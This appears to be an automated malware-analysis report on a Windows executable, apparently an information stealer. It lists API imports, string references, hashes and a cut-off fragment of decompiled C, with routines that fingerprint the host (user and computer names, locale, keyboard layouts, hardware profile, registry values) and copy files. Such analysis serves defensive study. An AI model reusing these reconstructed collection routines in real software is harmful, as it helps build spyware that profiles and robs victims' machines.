GetProcAddress.KERNEL32(768F0000,007C4CF0), ref: 0040CC90
GetProcAddress.KERNEL32(768F0000,007C7B60), ref: 0040CCA9
GetProcAddress.KERNEL32(768F0000,007C72E0), ref: 0040CCC1
GetProcAddress.KERNEL32(768F0000,007C4B10), ref: 0040CCD9
GetProcAddress.KERNEL32(768F0000,007C4D10), ref: 0040CCF2
GetProcAddress.KERNEL32(768F0000,007C7CB0), ref: 0040CD0A
GetProcAddress.KERNEL32(768F0000,007C7CE0), ref: 0040CD22
GetProcAddress.KERNEL32(768F0000,007C7B78), ref: 0040CD3B
GetProcAddress.KERNEL32(74B40000,007C7CF8), ref: 0040CD60
GetProcAddress.KERNEL32(74B40000,007C4C30), ref: 0040CD78
GetProcAddress.KERNEL32(74B40000,007C7B90), ref: 0040CD91
GetProcAddress.KERNEL32(74B40000,007C49B0), ref: 0040CDA9
GetProcAddress.KERNEL32(74B40000,007C7BF0), ref: 0040CDC1
GetProcAddress.KERNEL32(74B40000,RegGetValueA), ref: 0040CDD8
GetProcAddress.KERNEL32(76B90000,007C7B00), ref: 0040CDFD
GetProcAddress.KERNEL32(76B90000,007C7D58), ref: 0040CE16
GetProcAddress.KERNEL32(76B90000,007C4BD0), ref: 0040CE2E
GetProcAddress.KERNEL32(76B90000,007C4B70), ref: 0040CE46
GetProcAddress.KERNEL32(76B90000,007C7C08), ref: 0040CE5F
GetProcAddress.KERNEL32(76B90000,007C7300), ref: 0040CE77
GetProcAddress.KERNEL32(76B90000,007C7C20), ref: 0040CE8F
GetProcAddress.KERNEL32(76B90000,007C7D28), ref: 0040CEA8
GetProcAddress.KERNEL32(76B90000,007C7D40), ref: 0040CEC0
GetProcAddress.KERNEL32(76B90000,007C7D70), ref: 0040CED8
GetProcAddress.KERNEL32(76B90000,007C7170), ref: 0040CEF1
GetProcAddress.KERNEL32(76B90000,007C4B90), ref: 0040CF09
GetProcAddress.KERNEL32(76B90000,007C7B18), ref: 0040CF21
GetProcAddress.KERNEL32(76B90000,007C7C38), ref: 0040CF3A
GetProcAddress.KERNEL32(701A0000,007C60B0), ref: 0040CF5B
GetProcAddress.KERNEL32(768E0000,007C4D30), ref: 0040CF7C
GetProcAddress.KERNEL32(749A0000,007C4C70), ref: 0040CF9E
GetProcAddress.KERNEL32(73DA0000,007C66D8), ref: 0040CFC3
GetProcAddress.KERNEL32(73DA0000,007C49F0), ref: 0040CFDB
GetProcAddress.KERNEL32(73DA0000,007C65C0), ref: 0040CFF4
GetProcAddress.KERNEL32(73DA0000,007C4BF0), ref: 0040D00C
GetProcAddress.KERNEL32(73DA0000,007C6840), ref: 0040D024
GetProcAddress.KERNEL32(73DA0000,007C7C68), ref: 0040D03D
GetProcAddress.KERNEL32(6FBE0000,007C7C80), ref: 0040D062
GetProcAddress.KERNEL32(6FBE0000,007C7F20), ref: 0040D07A
GetProcAddress.KERNEL32(6FBE0000,007C4D50), ref: 0040D093
GetProcAddress.KERNEL32(6FBE0000,007AA8A8), ref: 0040D0AB
GetProcAddress.KERNEL32(6FBE0000,007C80D0), ref: 0040D0C3
GetProcAddress.KERNEL32(6FBE0000,007C7D88), ref: 0040D0DC
GetProcAddress.KERNEL32(76720000,007C7EC0), ref: 0040D0FD
GetProcAddress.KERNEL32(76720000,007C7320), ref: 0040D115
GetProcAddress.KERNEL32(76720000,007C7F38), ref: 0040D12E
GetProcAddress.KERNEL32(75390000,007C8130), ref: 0040D14F
GetProcAddress.KERNEL32(75390000,007C7ED8), ref: 0040D167
GetProcAddress.KERNEL32(73660000,007C6778), ref: 0040D18D
GetProcAddress.KERNEL32(73660000,007C7F90), ref: 0040D1A5
GetProcAddress.KERNEL32(73660000,007C6688), ref: 0040D1BD
GetProcAddress.KERNEL32(73660000,007C7DD0), ref: 0040D1D6
GetProcAddress.KERNEL32(73660000,007C7EA8), ref: 0040D1EE
GetProcAddress.KERNEL32(73660000,007C8370), ref: 0040D206
GetProcAddress.KERNEL32(73660000,007C82D0), ref: 0040D21F
GetProcAddress.KERNEL32(73660000,007C7EF0), ref: 0040D237
GetProcAddress.KERNEL32(747D0000,007C8070), ref: 0040D258
GetProcAddress.KERNEL32(747D0000,007C8050), ref: 0040D271
GetProcAddress.KERNEL32(6EB40000,007C7F08), ref: 0040D292

Strings

`u|, xrefs: 0040C728
v|, xrefs: 0040C9FA
Xt|, xrefs: 0040C6DF
PJ|, xrefs: 0040C865
h||, xrefs: 0040D02F
RegGetValueA, xrefs: 0040CDCC
xu|, xrefs: 0040CA52
PK|, xrefs: 0040C970
@t|, xrefs: 0040C5A3
t|, xrefs: 0040CA64
||, xrefs: 0040CE82
0{|, xrefs: 0040C84C
PM|, xrefs: 0040D085
lstrcpynA, xrefs: 0040C9E3
CreateThread, xrefs: 0040C989
0M|, xrefs: 0040CF6F
8||, xrefs: 0040CF2C
8v|, xrefs: 0040C5BB
s|, xrefs: 0040D108
Pv|, xrefs: 0040C64D
memcpy, xrefs: 0040CB18
s|, xrefs: 0040CA99
0L|, xrefs: 0040CD6B
memset, xrefs: 0040CB01
pK|, xrefs: 0040CE39
0u|, xrefs: 0040C58B
0K|, xrefs: 0040CBCD
Hu|, xrefs: 0040CA87
v|, xrefs: 0040C542
lstrcpyA, xrefs: 0040C9CD
H{|, xrefs: 0040C8AE
||, xrefs: 0040CD15
0J|, xrefs: 0040C927
P||, xrefs: 0040C7EB
(}|, xrefs: 0040CE9A
`{|, xrefs: 0040CC9B
(g|, xrefs: 0040C635
p}|, xrefs: 0040CECB
(w|, xrefs: 0040CA0C
pq|, xrefs: 0040CEE3
pM|, xrefs: 0040C803
SetEnvironmentVariableA, xrefs: 0040C9B6
pJ|, xrefs: 0040CBE6
InternetCrackUrlA, xrefs: 0040CC16
pt|, xrefs: 0040C6F8
x{|, xrefs: 0040CD2D
hv|, xrefs: 0040CA41
r|, xrefs: 0040CCB4
GetEnvironmentVariableA, xrefs: 0040C99F
z|, xrefs: 0040C90F
pL|, xrefs: 0040CF90
X}|, xrefs: 0040CE08
@h|, xrefs: 0040D017
xg|, xrefs: 0040D17F
PL|, xrefs: 0040CB84
@}|, xrefs: 0040CEB3
(t|, xrefs: 0040C604

Memory Dump Source

Source File: 00000019.00000002.440470542.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000019.00000002.440513643.000000000042C000.00000040.00020000.sdmp Download File

Similarity

API ID: AddressProc$LibraryLoad
String ID: s|$ v|$ ||$(g|$(t|$(w|$(}|$0J|$0K|$0L|$0M|$0u|$0{|$8v|$8||$@h|$@t|$@}|$CreateThread$GetEnvironmentVariableA$Hu|$H{|$InternetCrackUrlA$PJ|$PK|$PL|$PM|$Pv|$P||$RegGetValueA$SetEnvironmentVariableA$Xt|$X}|$`u|$`{|$hv|$h||$lstrcpyA$lstrcpynA$memcpy$memset$pJ|$pK|$pL|$pM|$pq|$pt|$p}|$xg|$xu|$x{|$r|$s|$t|$v|$z|$||
API String ID: 2238633743-785118187
Opcode ID: 5c6a11f3020753ac3d423ac2ff1df36a17615fb2ca3194d898380672604674f4
Instruction ID: 9bcd284fde1af5afdb9725a1d8ee7eb933c8521e96d2c529a01ce852b5064599
Opcode Fuzzy Hash: 5c6a11f3020753ac3d423ac2ff1df36a17615fb2ca3194d898380672604674f4
Instruction Fuzzy Hash: 9C820FF9523200EFC345DFA8EE889D637B9BB4C251715CA39E509C3661D73894A1CF2A

Uniqueness

Uniqueness Score: -1.00%

Function 004056E0, Relevance: 122.8, APIs: 64, Strings: 6, Instructions: 315stringmemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,000F423F,?,?,004067CA,?,?,?,?,?,00000104,?,00001388), ref: 004056EB
RtlAllocateHeap.NTDLL(00000000,?,004067CA), ref: 004056F2
lstrcat.KERNEL32(?,007AE518), ref: 00405705
lstrcat.KERNEL32(?,007B0AD8), ref: 00405716
lstrcat.KERNEL32(?,00418BC0), ref: 00405725
lstrcat.KERNEL32(?,007AF5C8), ref: 00405736
lstrcat.KERNEL32(?,00418BC4), ref: 00405745
lstrcat.KERNEL32(?,007C4DD0), ref: 00405756
lstrcat.KERNEL32(?,00418BC0), ref: 00405765
lstrcat.KERNEL32(?,007C70E8), ref: 00405776
GetCurrentProcessId.KERNEL32(?,004067CA,?,?,?,?,?,00000104,?,00001388), ref: 0040577C

Part of subcall function 0040B950: OpenProcess.KERNEL32(00000410,00000000,004067CA), ref: 0040B964
Part of subcall function 0040B950: K32GetModuleFileNameExA.KERNEL32(00000000,00000000,?,00000104), ref: 0040B985
Part of subcall function 0040B950: CloseHandle.KERNEL32(00000000), ref: 0040B98F

lstrcat.KERNEL32(?,00000000), ref: 00405790
lstrcat.KERNEL32(00418BC0,00418BC0), ref: 0040579F
lstrcat.KERNEL32(007C7100,007C7100), ref: 004057AF

Part of subcall function 0040ACE0: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,?,004057BA,?,?,?,?,00000104,?,00001388), ref: 0040ACED
Part of subcall function 0040ACE0: RtlAllocateHeap.NTDLL(00000000), ref: 0040ACF4
Part of subcall function 0040ACE0: GetLocalTime.KERNEL32(?,?,?,?,?,?,004057BA,?,?,?,?,00000104,?,00001388), ref: 0040AD01
Part of subcall function 0040ACE0: wsprintfA.USER32 ref: 0040AD2E

lstrcat.KERNEL32(00000000,00000000), ref: 004057BF
lstrcat.KERNEL32(00418BC4,00418BC4), ref: 004057CE
lstrcat.KERNEL32(Hn|,007C6E48), ref: 004057DF

Part of subcall function 0040AD40: GetProcessHeap.KERNEL32(00000000,00000104), ref: 0040AD50
Part of subcall function 0040AD40: RtlAllocateHeap.NTDLL(00000000), ref: 0040AD57
Part of subcall function 0040AD40: GetTimeZoneInformation.KERNEL32(?), ref: 0040AD6A

lstrcat.KERNEL32(00000000,00000000), ref: 004057EF
lstrcat.KERNEL32(00418BC0,00418BC0), ref: 004057FE
lstrcat.KERNEL32(007C4EB0,007C4EB0), ref: 0040580F

Part of subcall function 0040ADC0: GetUserDefaultLocaleName.KERNEL32(?,00000055), ref: 0040ADD2

lstrcat.KERNEL32(00000000,00000000), ref: 0040581F
lstrcat.KERNEL32(00418BC4,00418BC4), ref: 0040582E
lstrcat.KERNEL32(007C4DF0,007C4DF0), ref: 0040583E

Part of subcall function 0040AE00: GetProcessHeap.KERNEL32(00000000,000001F4), ref: 0040AE10
Part of subcall function 0040AE00: RtlAllocateHeap.NTDLL(00000000), ref: 0040AE17
Part of subcall function 0040AE00: GetKeyboardLayoutList.USER32(00000000,00000000), ref: 0040AE38
Part of subcall function 0040AE00: LocalAlloc.KERNEL32(00000040,?), ref: 0040AE50
Part of subcall function 0040AE00: GetKeyboardLayoutList.USER32(?,00000000), ref: 0040AE64
Part of subcall function 0040AE00: GetLocaleInfoA.KERNEL32(?,00000002,?,00000200), ref: 0040AEB9
Part of subcall function 0040AE00: wsprintfA.USER32 ref: 0040AEE2
Part of subcall function 0040AE00: wsprintfA.USER32 ref: 0040AF00
Part of subcall function 0040AE00: memset.NTDLL ref: 0040AF26
Part of subcall function 0040AE00: LocalFree.KERNEL32(00000000), ref: 0040AF3B

lstrcat.KERNEL32(00000000,00000000), ref: 0040584E
lstrcat.KERNEL32(00418BC0,00418BC0), ref: 0040585D
lstrcat.KERNEL32(Hn|,007C6D70), ref: 0040586E

Part of subcall function 0040AF50: GetSystemPowerStatus.KERNEL32(?), ref: 0040AF5A

lstrcat.KERNEL32(00000000,00000000), ref: 0040587E
lstrcat.KERNEL32(00418BC4,00418BC4), ref: 0040588D
lstrcat.KERNEL32(007C6DD0,007C6DD0), ref: 0040589E

Part of subcall function 0040AF80: GetProcessHeap.KERNEL32(00000000,00000104), ref: 0040AF94
Part of subcall function 0040AF80: RtlAllocateHeap.NTDLL(00000000), ref: 0040AF9B
Part of subcall function 0040AF80: RegOpenKeyExA.KERNEL32(80000002,007C2750,00000000,00020119,?), ref: 0040AFBB
Part of subcall function 0040AF80: RegQueryValueExA.KERNEL32(?,007C8470,00000000,00000000,?,000000FF), ref: 0040AFDC
Part of subcall function 0040AF80: RegCloseKey.ADVAPI32(?), ref: 0040AFE6

lstrcat.KERNEL32(00000000,00000000), ref: 004058AE
lstrcat.KERNEL32(00418BC4,00418BC4), ref: 004058BD
lstrcat.KERNEL32(Hn|,007C6E30), ref: 004058CD

Part of subcall function 0040B000: GetProcessHeap.KERNEL32(00000000,00000104), ref: 0040B00D
Part of subcall function 0040B000: RtlAllocateHeap.NTDLL(00000000), ref: 0040B014
Part of subcall function 0040B000: memset.NTDLL ref: 0040B025
Part of subcall function 0040B000: GlobalMemoryStatusEx.KERNEL32(00000040), ref: 0040B036
Part of subcall function 0040B000: __aulldiv.LIBCMT ref: 0040B050
Part of subcall function 0040B000: wsprintfA.USER32 ref: 0040B07C

lstrcat.KERNEL32(00000000,00000000), ref: 004058DD
lstrcat.KERNEL32(00418BC4,00418BC4), ref: 004058EC
lstrcat.KERNEL32(007AF5D8,007AF5D8), ref: 004058FD

Part of subcall function 0040B090: GetProcessHeap.KERNEL32(00000000,00000104), ref: 0040B0A4
Part of subcall function 0040B090: RtlAllocateHeap.NTDLL(00000000), ref: 0040B0AB
Part of subcall function 0040B090: RegOpenKeyExA.KERNEL32(80000002,007C2788,00000000,00020119,?), ref: 0040B0CB
Part of subcall function 0040B090: RegQueryValueExA.KERNEL32(?,007C8FA8,00000000,00000000,?,000000FF), ref: 0040B0EC
Part of subcall function 0040B090: RegCloseKey.ADVAPI32(?), ref: 0040B0F6

lstrcat.KERNEL32(00000000,00000000), ref: 0040590D
lstrcat.KERNEL32(007C30F8,007C30F8), ref: 0040591E

Part of subcall function 0040B110: GetCurrentProcess.KERNEL32(00000000), ref: 0040B11F
Part of subcall function 0040B110: IsWow64Process.KERNEL32(00000000), ref: 0040B126

lstrcat.KERNEL32(00000000,00000000), ref: 0040592E
lstrcat.KERNEL32(007C3108,007C3108), ref: 0040593F
lstrcat.KERNEL32(00418BC4,00418BC4), ref: 0040594E
lstrcat.KERNEL32(007C6ED8,007C6ED8), ref: 0040595F
lstrcat.KERNEL32(00000000,00000000), ref: 0040596F
lstrcat.KERNEL32(00418BC4,00418BC4), ref: 0040597E
lstrcat.KERNEL32(007C4F10,007C4F10), ref: 0040598F

Part of subcall function 0040B180: wsprintfA.USER32 ref: 0040B1DC

lstrcat.KERNEL32(00000000,00000000), ref: 0040599F
lstrcat.KERNEL32(00418BC0,00418BC0), ref: 004059AE
lstrcat.KERNEL32(007C6E18,007C6E18), ref: 004059BE

Part of subcall function 0040AC50: GetProcessHeap.KERNEL32(00000000,00000104,?,00406B8D), ref: 0040AC5D
Part of subcall function 0040AC50: RtlAllocateHeap.NTDLL(00000000,?,00406B8D), ref: 0040AC64
Part of subcall function 0040AC50: GetComputerNameA.KERNEL32(00406B8D,00000104), ref: 0040AC7C

lstrcat.KERNEL32(00000000,00000000), ref: 004059CE
lstrcat.KERNEL32(00418BC4,00418BC4), ref: 004059DD
lstrcat.KERNEL32(007C6D88,007C6D88), ref: 004059EE

Part of subcall function 0040ACA0: GetProcessHeap.KERNEL32(00000000,00000104,00406B14,JohnDoe,?,00406B8D), ref: 0040ACAD
Part of subcall function 0040ACA0: RtlAllocateHeap.NTDLL(00000000,?,00406B8D), ref: 0040ACB4
Part of subcall function 0040ACA0: GetUserNameA.ADVAPI32(?,00000104), ref: 0040ACCC

lstrcat.KERNEL32(00000000,00000000), ref: 004059FE
lstrcat.KERNEL32(00418BC4,00418BC4), ref: 00405A0D
lstrcat.KERNEL32(007C6F08,007C6F08), ref: 00405A1E
lstrcat.KERNEL32(00000000,00000000), ref: 00405A2E
lstrcat.KERNEL32(00418BC4,00418BC4), ref: 00405A3D
lstrcat.KERNEL32(007C6DB8,007C6DB8), ref: 00405A4D

Part of subcall function 0040B240: GetProcessHeap.KERNEL32(00000000,00000104), ref: 0040B254
Part of subcall function 0040B240: RtlAllocateHeap.NTDLL(00000000), ref: 0040B25B
Part of subcall function 0040B240: RegOpenKeyExA.KERNEL32(80000002,007C6890,00000000,00020119,?), ref: 0040B27B
Part of subcall function 0040B240: RegQueryValueExA.KERNEL32(?,007C90F8,00000000,00000000,?,000000FF), ref: 0040B29C
Part of subcall function 0040B240: RegCloseKey.ADVAPI32(?), ref: 0040B2A6

lstrcat.KERNEL32(00000000,00000000), ref: 00405A5D
lstrcat.KERNEL32(00418BC4,00418BC4), ref: 00405A6C
lstrcat.KERNEL32(007C3118,007C3118), ref: 00405A7D

Part of subcall function 0040B2C0: GetCurrentHwProfileA.ADVAPI32(?), ref: 0040B2CD
Part of subcall function 0040B2C0: GetProcessHeap.KERNEL32(00000000,00000064), ref: 0040B2DB
Part of subcall function 0040B2C0: RtlAllocateHeap.NTDLL(00000000), ref: 0040B2E2
Part of subcall function 0040B2C0: memset.NTDLL ref: 0040B2F9
Part of subcall function 0040B2C0: lstrcat.KERNEL32(?,?), ref: 0040B30A

lstrcat.KERNEL32(00000000,00000000), ref: 00405A8D
lstrcat.KERNEL32(00418BC0,00418BC0), ref: 00405A9C
lstrcat.KERNEL32(007C4E10,007C4E10), ref: 00405AAD
lstrcat.KERNEL32(00418BC4,00418BC4), ref: 00405ABC

Part of subcall function 0040B330: RegOpenKeyExA.KERNEL32(80000002,007C22C0,00000000,00020019,00000000), ref: 0040B382

lstrlen.KERNEL32(?,?,?,?,?,?,?,00000104,?,00001388), ref: 00405AD2

Strings

0n|, xrefs: 004058C3
p|, xrefs: 0040576B
Hn|, xrefs: 004057D4
Xp|, xrefs: 00405ADD
Hn|, xrefs: 004057DB, 0040586A, 004058C9, 004057DE, 0040586D, 004058CC
pm|, xrefs: 00405863

Memory Dump Source

Source File: 00000019.00000002.440470542.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000019.00000002.440513643.000000000042C000.00000040.00020000.sdmp Download File

Similarity

API ID: lstrcat$Heap$Process$Allocate$Openwsprintf$CloseName$CurrentLocalQueryValuememset$KeyboardLayoutListLocaleStatusTimeUser$AllocComputerDefaultFileFreeGlobalHandleInfoInformationMemoryModulePowerProfileSystemWow64Zone__aulldivlstrlen
String ID: 0n|$Hn|$Hn|$Xp|$pm|$p|
API String ID: 1685704716-3906085647
Opcode ID: 30f07a2bd6df684eb537ca42ce2af34e1736e8a7775d2fcc70ff25e928b337d0
Instruction ID: 30c1e02cd9c5137cb8aca07fd8d84d5d1b54e9b10edc29ade13e80b98b9e1d91
Opcode Fuzzy Hash: 30f07a2bd6df684eb537ca42ce2af34e1736e8a7775d2fcc70ff25e928b337d0
Instruction Fuzzy Hash: 40C11BBA611504FFCB00DBE4DF89D9E77B9AF4C3457208569B205D3661CB3CAA20DB29

Uniqueness

Uniqueness Score: -1.00%

Function 00407D50, Relevance: 54.5, APIs: 30, Strings: 1, Instructions: 284stringmemoryfileCOMMON

Download Yara Rule

APIs

GetCurrentDirectoryA.KERNEL32(00000104,?), ref: 00407D65
lstrcat.KERNEL32(?,00414018), ref: 00407D77

Part of subcall function 0040B8B0: GetSystemTime.KERNEL32(?,?,00000104), ref: 0040B8D1

lstrcat.KERNEL32(?,00000000), ref: 00407D8F
CopyFileA.KERNEL32(00000000,?,00000001), ref: 00407DA2
wsprintfA.USER32 ref: 00407DCF
GetProcessHeap.KERNEL32(00000000,000F423F), ref: 00407E1F
RtlAllocateHeap.NTDLL(00000000), ref: 00407E26
StrCmpCA.SHLWAPI(?,00418BE0), ref: 00407ED2
lstrcat.KERNEL32(?,007C7260), ref: 00407EF9
lstrcat.KERNEL32(?,007C72B0), ref: 00407F1E
StrCmpCA.SHLWAPI(?,00418BE0), ref: 00407F30
lstrcat.KERNEL32(?,007C7260), ref: 00407F58
lstrcat.KERNEL32(?,007C72B0), ref: 00407F7E

Part of subcall function 00407230: memset.MSVCRT ref: 00407282
Part of subcall function 00407230: LocalAlloc.KERNEL32(00000040,?), ref: 004072D1
Part of subcall function 00407230: lstrcat.KERNEL32(?,00000000), ref: 00407337

lstrcat.KERNEL32(?,00418BE0), ref: 00407FAE
lstrcat.KERNEL32(?,?), ref: 00407FC2
lstrcat.KERNEL32(?,004191EC), ref: 00407FD4
lstrcat.KERNEL32(?,?), ref: 00407FE8
lstrcat.KERNEL32(?,004191EC), ref: 00407FFA
lstrcat.KERNEL32(?,?), ref: 0040800E
lstrcat.KERNEL32(?,004191EC), ref: 00408020
lstrcat.KERNEL32(?,?), ref: 00408034
lstrcat.KERNEL32(?,004191EC), ref: 00408046
lstrcat.KERNEL32(?,?), ref: 0040805A
lstrcat.KERNEL32(?,004191EC), ref: 0040806C
lstrcat.KERNEL32(?,?), ref: 00408080
lstrcat.KERNEL32(?,004191EC), ref: 00408092
lstrcat.KERNEL32(?,00000000), ref: 004080D0
lstrcat.KERNEL32(?,00418BC4), ref: 004080E2
lstrlen.KERNEL32(?), ref: 004080F4
DeleteFileA.KERNEL32(?), ref: 00408144

Strings

`r|, xrefs: 00407EEC, 00407F4A

Memory Dump Source

Source File: 00000019.00000002.440470542.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000019.00000002.440513643.000000000042C000.00000040.00020000.sdmp Download File

Similarity

API ID: lstrcat$FileHeap$AllocAllocateCopyCurrentDeleteDirectoryLocalProcessSystemTimelstrlenmemsetwsprintf
String ID: `r|
API String ID: 3067815791-4079760465
Opcode ID: 39b9bc0cffe939589dbe0d2056154b9b32713bfce1fe5d0958d0e75eee0431b2
Instruction ID: 0472a7c7585205d9353b1484faec9d34f3986521201bc2a8f856e71ef692a447
Opcode Fuzzy Hash: 39b9bc0cffe939589dbe0d2056154b9b32713bfce1fe5d0958d0e75eee0431b2
Instruction Fuzzy Hash: 0CB197B5A41108BBCB10DBA4DD8DFEA77B8AF4C704F008599F205A7181C739EA61CF59

Uniqueness

Uniqueness Score: -1.00%

Function 00406C10, Relevance: 54.5, APIs: 29, Strings: 2, Instructions: 277libraryCOMMON

Download Yara Rule

APIs

GetVersionExA.KERNEL32(00000094,?,00000094), ref: 00406C3D
LoadLibraryA.KERNEL32(007C75A8), ref: 00406CAA

Strings

@s|, xrefs: 00406EA3, 00406F68
0s|, xrefs: 00406DD4

Memory Dump Source

Source File: 00000019.00000002.440470542.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000019.00000002.440513643.000000000042C000.00000040.00020000.sdmp Download File

Similarity

API ID: LibraryLoadVersion
String ID: 0s|$@s|
API String ID: 3209957514-2263919110
Opcode ID: 48e87a5de84f717074b832ed21c0577e90c690f55c8f4d6b53ea31534da44a6a
Instruction ID: 05bfa34741bdcc6f61b31b7f22c3a432e1b570a345a4de00ebc14ecdda937758
Opcode Fuzzy Hash: 48e87a5de84f717074b832ed21c0577e90c690f55c8f4d6b53ea31534da44a6a
Instruction Fuzzy Hash: 6BC182B1612208ABDB54DF90DD88FDA77B9EF4C304F1085A9F205A72D0C774AA91CF59

Uniqueness

Uniqueness Score: -1.00%

Function 00407AC0, Relevance: 40.4, APIs: 21, Strings: 2, Instructions: 174stringfileCOMMON

Download Yara Rule

APIs

GetCurrentDirectoryA.KERNEL32(00000104,?,?,004088AE,?,?,00000001,00000000,00000000), ref: 00407AD9
lstrcat.KERNEL32(?,00414018), ref: 00407AEB

Part of subcall function 0040B8B0: GetSystemTime.KERNEL32(?,?,00000104), ref: 0040B8D1

lstrcat.KERNEL32(?,00000000), ref: 00407B03
CopyFileA.KERNEL32(?,?,00000001), ref: 00407B16
DeleteFileA.KERNEL32(?), ref: 00407D3C

Part of subcall function 00407230: memset.MSVCRT ref: 00407282
Part of subcall function 00407230: LocalAlloc.KERNEL32(00000040,?), ref: 004072D1
Part of subcall function 00407230: lstrcat.KERNEL32(?,00000000), ref: 00407337

lstrcat.KERNEL32(?,00000000), ref: 00407BF7
lstrcat.KERNEL32(00000000,007C7330), ref: 00407C0B
lstrcat.KERNEL32(00000000,?), ref: 00407C1C
lstrcat.KERNEL32(00000000,00418BC4), ref: 00407C2E
lstrcat.KERNEL32(00000000,007C71A0), ref: 00407C41
lstrcat.KERNEL32(00000000,?), ref: 00407C51
lstrcat.KERNEL32(00000000,00418BC4), ref: 00407C63
lstrcat.KERNEL32(00000000,007C72C0), ref: 00407C76
lstrcat.KERNEL32(00000000,?), ref: 00407C8A
lstrcat.KERNEL32(00000000,00418BC4), ref: 00407C9B
lstrcat.KERNEL32(00000000,007C71F0), ref: 00407CAF
lstrcat.KERNEL32(00000000,?), ref: 00407CC3
lstrcat.KERNEL32(00000000,00418BC4), ref: 00407CD5
lstrcat.KERNEL32(00000000,007C7340), ref: 00407CE8
lstrcat.KERNEL32(00000000,?), ref: 00407CFB
lstrcat.KERNEL32(00000000,00418BC0), ref: 00407D0D

Strings

@s|, xrefs: 00407CDB
0s|, xrefs: 00407BFD

Memory Dump Source

Source File: 00000019.00000002.440470542.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000019.00000002.440513643.000000000042C000.00000040.00020000.sdmp Download File

Similarity

API ID: lstrcat$File$AllocCopyCurrentDeleteDirectoryLocalSystemTimememset
String ID: 0s|$@s|
API String ID: 3522136165-2263919110
Opcode ID: f3fd52fb4761c2a2e1c00ae7afb32f507db36117f99e1080e622c3acfdb5aeba
Instruction ID: ab0808fcc5ae4ac9d31269b52e8e6387a8d9148f66a13944e02c84bb448b15ba
Opcode Fuzzy Hash: f3fd52fb4761c2a2e1c00ae7afb32f507db36117f99e1080e622c3acfdb5aeba
Instruction Fuzzy Hash: 6C6152B1A11104AFC710EBA4EE49DEA37F8EF4C305F008569F60593161D778EA61CF6A

Uniqueness

Uniqueness Score: -1.00%

Function 0040A700, Relevance: 35.5, APIs: 3, Strings: 17, Instructions: 489
memorystringCOMMON

Download Yara Rule

C-Code - Quality: 97%

			E0040A700(void* __eflags, intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16) {
				void* _t132;
				void* _t233;
				void* _t234;
				intOrPtr _t241;
				intOrPtr _t243;
				intOrPtr _t245;
				intOrPtr _t247;
				intOrPtr _t249;
				intOrPtr _t251;
				intOrPtr _t253;
				intOrPtr _t255;
				intOrPtr _t257;
				intOrPtr _t259;
				intOrPtr _t261;
				intOrPtr _t263;
				intOrPtr _t265;
				intOrPtr _t267;
				intOrPtr _t269;
				intOrPtr _t271;
				intOrPtr _t273;
				intOrPtr _t275;
				intOrPtr _t277;
				intOrPtr _t279;
				intOrPtr _t281;
				intOrPtr _t283;
				intOrPtr _t285;
				intOrPtr _t287;
				intOrPtr _t289;
				intOrPtr _t291;
				intOrPtr _t293;
				intOrPtr _t295;
				intOrPtr _t297;
				intOrPtr _t299;
				intOrPtr _t301;
				intOrPtr _t303;
				intOrPtr _t304;
				void* _t305;
				intOrPtr _t307;
				intOrPtr _t309;
				intOrPtr _t311;
				intOrPtr _t313;
				intOrPtr _t315;
				intOrPtr _t317;
				intOrPtr _t319;
				intOrPtr _t321;
				intOrPtr _t323;
				intOrPtr _t325;
				intOrPtr _t327;
				intOrPtr _t329;
				intOrPtr _t331;
				intOrPtr _t333;
				intOrPtr _t335;
				intOrPtr _t337;
				intOrPtr _t339;
				intOrPtr _t341;
				intOrPtr _t343;
				intOrPtr _t345;
				intOrPtr _t347;
				intOrPtr _t349;
				intOrPtr _t351;
				intOrPtr _t353;
				intOrPtr _t355;
				intOrPtr _t357;
				intOrPtr _t359;
				intOrPtr _t361;
				intOrPtr _t363;
				intOrPtr _t365;
				intOrPtr _t367;
				intOrPtr _t369;
				intOrPtr _t370;
				intOrPtr _t371;
				void* _t407;

				_t407 = __eflags;
				_t132 = RtlAllocateHeap(GetProcessHeap(), 0, 0xf423f); // executed
				 *0x41a838 = _t132; // executed
				E00407060(); // executed
				 *0x41a83c = 0;
				_t241 =  *0x41a290; // 0x7c8898
				_t307 =  *0x41a250; // 0x7c64d0
				E0040A3F0(_t241, _t407, _t307, _t241, _a4, _a8, _a12, _a16); // executed
				_t243 =  *0x41a1dc; // 0x7c7920
				_t309 =  *0x41a7a0; // 0x7c7fd0
				E0040A3F0(_t243, _t407, _t309, _t243, _a4, _a8, _a12, _a16); // executed
				_t245 =  *0x41a750; // 0x7c7890
				_t311 =  *0x41a09c; // 0x7c6750
				E0040A3F0(_t245, _t407, _t311, _t245, _a4, _a8, _a12, _a16); // executed
				_t247 =  *0x41a27c; // 0x7c8988
				_t313 =  *0x41a7cc; // 0x7c81f0
				E0040A3F0(_t247, _t407, _t313, _t247, _a4, _a8, _a12, _a16); // executed
				_t249 =  *0x41a520; // 0x7c8888
				_t315 =  *0x41a638; // 0x7c8270
				E0040A3F0(_t249, _t407, _t315, _t249, _a4, _a8, _a12, _a16); // executed
				_t251 =  *0x41a42c; // 0x7c87c8
				_t317 =  *0x41a7d8; // 0x7c8170
				E0040A3F0(_t251, _t407, _t317, _t251, _a4, _a8, _a12, _a16); // executed
				_t253 =  *0x41a5c8; // 0x7c88a8
				_t319 =  *0x41a390; // 0x7c81b0
				E0040A3F0(_t253, _t407, _t319, _t253, _a4, _a8, _a12, _a16); // executed
				_t255 =  *0x41a47c; // 0x7c8798
				_t321 =  *0x41a068; // 0x7c67a0
				E0040A3F0(_t255, _t407, _t321, _t255, _a4, _a8, _a12, _a16); // executed
				_t257 =  *0x41a24c; // 0x7c7a40
				_t323 =  *0x41a168; // 0x7c81d0
				E0040A3F0(_t257, _t407, _t323, _t257, _a4, _a8, _a12, _a16); // executed
				_t259 =  *0x41a3e0; // 0x7c7938
				_t325 =  *0x41a1d4; // 0x7c7968
				E0040A3F0(_t259, _t407, _t325, _t259, _a4, _a8, _a12, _a16); // executed
				_t261 =  *0x41a028; // 0x7c88e8
				_t327 =  *0x41a5e0; // 0x7c8330
